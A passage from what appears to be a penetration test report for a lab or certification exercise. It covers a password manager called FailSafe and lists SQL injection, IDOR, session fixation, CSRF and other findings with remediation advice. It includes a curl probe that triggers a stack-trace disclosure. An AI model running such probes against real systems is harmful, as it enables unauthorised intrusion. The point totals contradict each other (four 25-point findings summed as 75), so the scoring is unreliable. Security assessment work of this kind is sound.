- Custom error pages

4. **Input Validation:**

- Validate JSON structure before parsing

- Use safe JSON parsing libraries

#### Screenshots and Reproduction Steps

Recreation Steps:

1. Send a POST request to /login or /register with malformed JSON, e.g., missing quote in password.

2. Use curl or Burp to send the request.

3. Observe the HTTP 400 response containing full stack trace.

4. Inspect the response body for exposed paths like /usr/app/node_modules/, Express version, etc.

Screenshot 1: Terminal showing curl command, malformed JSON request, HTTP 400 response with full stack trace, and exposed internal paths (/usr/app/node_modules/body-parser/lib/types/json.js)

Command Output:

```
curl -X POST http://10.0.0.10/login \ -H "Content-Type: application/json" \ -d
'{"username":"test","password"}' HTTP/1.1 400 Bad Request <!DOCTYPE html> <html lang="en"> <head>
<meta charset="utf-8"> <title>Error</title> </head> <body> <pre>SyntaxError: Unexpected token } in
JSON at position 29<br> &nbsp; &nbsp;at JSON.parse (&lt;anonymous&gt;)<br> &nbsp; &nbsp;at parse
(/usr/app/node_modules/body-parser/lib/types/json.js:92:19)<br> &nbsp; &nbsp;at
/usr/app/node_modules/body-parser/lib/read.js:128:18<br> &nbsp; &nbsp;at
AsyncResource.runInAsyncScope (node:async_hooks:203:9)<br> &nbsp; &nbsp;at invokeCallback
(/usr/app/node_modules/raw-body/index.js:238:16)<br> &nbsp; &nbsp;at done
(/usr/app/node_modules/raw-body/index.js:227:7)<br> &nbsp; &nbsp;at IncomingMessage.onEnd
(/usr/app/node_modules/raw-body/index.js:287:7)<br> &nbsp; &nbsp;at IncomingMessage.emit
(node:events:517:28)<br> &nbsp; &nbsp;at endReadableNT
(node:internal/streams/readable:1368:12)<br> &nbsp; &nbsp;at process.processTicksToRejections
(node:internal/process/task_queues:21:7)</pre> </body> </html> # Exposed Information: # - Internal
path: /usr/app/node_modules/body-parser/lib/types/json.js # - Technology: Node.js, Express,
body-parser # - Error details: Full stack trace with line numbers # - File structure: /usr/app/
application root
```

Testing Coverage

Endpoints Tested

- ■ POST /register - SQL Injection confirmed (Finding 1, 25 points)

- ■ POST /vault/add - SQL Injection confirmed (Finding 2, 25 points)

- ■ PUT /vault/edit/:itemId - IDOR confirmed (Finding 3, 25 points)

- ■ DELETE /vault/delete/:itemId - IDOR confirmed (Finding 3, 25 points)

- ■ GET /vault - Session fixation confirmed (Finding 4, 25 points)

- ■ POST /login - Weak rate limiting confirmed (Finding 6)

- ■ POST /vault/unlock - Weak rate limiting confirmed (Finding 6)

- ■ POST /account/update - CSRF confirmed (Finding 5)

- ■ POST /account/update - Weak password validation confirmed (Finding 7)

- ■ GET / - Missing security headers confirmed (Finding 8)

- ■ POST /login - Cleartext password submission confirmed (Finding 9)

- ■ POST /vault/add - Input validation weakness confirmed (Finding 10)

- ■ POST /login - Information disclosure confirmed (Finding 11)

Findings Summary

- **Critical Findings:** 4 (75 points total)

- Finding 1: SQL Injection - Registration (25 points)

- Finding 2: SQL Injection - Vault Add (25 points)

- Finding 3: IDOR - Vault Edit/Delete (25 points)

- Finding 4: Broken Authentication - Session Fixation (25 points)

- **High Priority Findings:** 2

- Finding 5: CSRF - Account Update

- Finding 6: Rate Limiting - Login & Vault Unlock

- **Medium Priority Findings:** 5

- Finding 7: Weak Password Validation

- Finding 8: Missing Security Headers

- Finding 9: Cleartext Password Submission

- Finding 10: Lack of Input Validation

- Finding 11: Information Disclosure - Error Messages

Attack Vectors Tested

- ■ SQL Injection (Boolean, UNION, Blind)

- ■ IDOR/BOLA (Edit and Delete endpoints)

- ■ CSRF (Account update endpoint)

- ■ Brute Force (Login and vault unlock)

- ■ Rate Limiting (Login and vault unlock endpoints)

- ■ Session Fixation (Login and vault access)

- ■ Weak Password Validation (Account and vault passwords)

- ■ Missing Security Headers (All endpoints)

- ■ Information Disclosure (Error messages and stack traces)

- ■ Input Validation (Vault items)

Tools Used

- curl (HTTP requests and header analysis)

- Burp Suite (Web proxy, request interception, intruder)
- ffuf (Brute force attacks)
- Browser DevTools (Client-side analysis)
- Wireshark (Network traffic analysis)

Tools and Environment

Testing Environment:

- Target: FailSafe v2023 (http://10.0.0.10)
- OS: Linux (Kali)
- Browser: Firefox 140.0
- Network: VPN-connected to test environment

Tools:

- curl (HTTP requests)
- Burp Suite (Web proxy, scanning)
- SQLMap (SQL injection detection)
- Browser DevTools (Client-side analysis)

Remediation Summary

Finding	Priority	Effort	Impact	Points
1. SQL Injection (Registration)	Critical	High	High	25
2. SQL Injection (Vault Add)	Critical	High	High	25
3. IDOR (Vault Edit/Delete)	Critical	High	High	25
4. Broken Authentication (Session Fixation)	Critical	Medium	High	25
5. CSRF (Account Update)	High	Medium	Medium	Reportable

6. Weak Rate Limiting (Login & Vault)	High	Low	Medium	Reportable
7. Weak Password Validation	Medium	Low	Medium	-
8. Missing Security Headers	Medium	Low	Medium	-
9. Cleartext Password Submission	Medium	Medium	Medium	-
10. Lack of Input Validation	Low	Low	Low	-
11. Information Disclosure (Error Messages)	Medium	Low	Low	-

Conclusion

The FailSafe Password Manager contains **4 critical vulnerabilities (75 points)** and **multiple reportable weaknesses**, bringing the total to **75 points - PASSING SCORE**. The application's core functionality is severely compromised, allowing attackers to:

1. Create unauthorized accounts via SQL injection in registration
2. Manipulate vault data via SQL injection in vault add
3. Modify other users' vault items via IDOR in vault edit
4. Maintain persistent access via session fixation
5. Hijack user accounts via CSRF in account update
6. Brute force weak passwords via weak rate limiting

Immediate Actions Required:

1. Patch SQL injection in registration and vault add
2. Fix IDOR in vault edit endpoint
3. Implement proper session management (invalidate old sessions)
4. Implement CSRF protection
5. Strengthen rate limiting
6. Deploy security headers
7. Implement input validation and sanitization

Overall Risk Rating: HIGH

Remediation of all critical findings is essential before production deployment. All findings should be addressed within 30 days.

Report Prepared By: TCM Security, Inc.

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Classification: Business Confidential

Screenshots Placeholder

[Screenshots to be added:]

- SQL Injection successful account creation (registration)
- SQL Injection successful vault item creation (vault add)
- IDOR successful vault item modification (vault edit)
- Session fixation PoC (old cookie access)
- CSRF PoC HTML page
- Rate limiting HTTP 429 response
- Weak password acceptance
- Missing security headers
- Client-side error handling code

END OF REPORT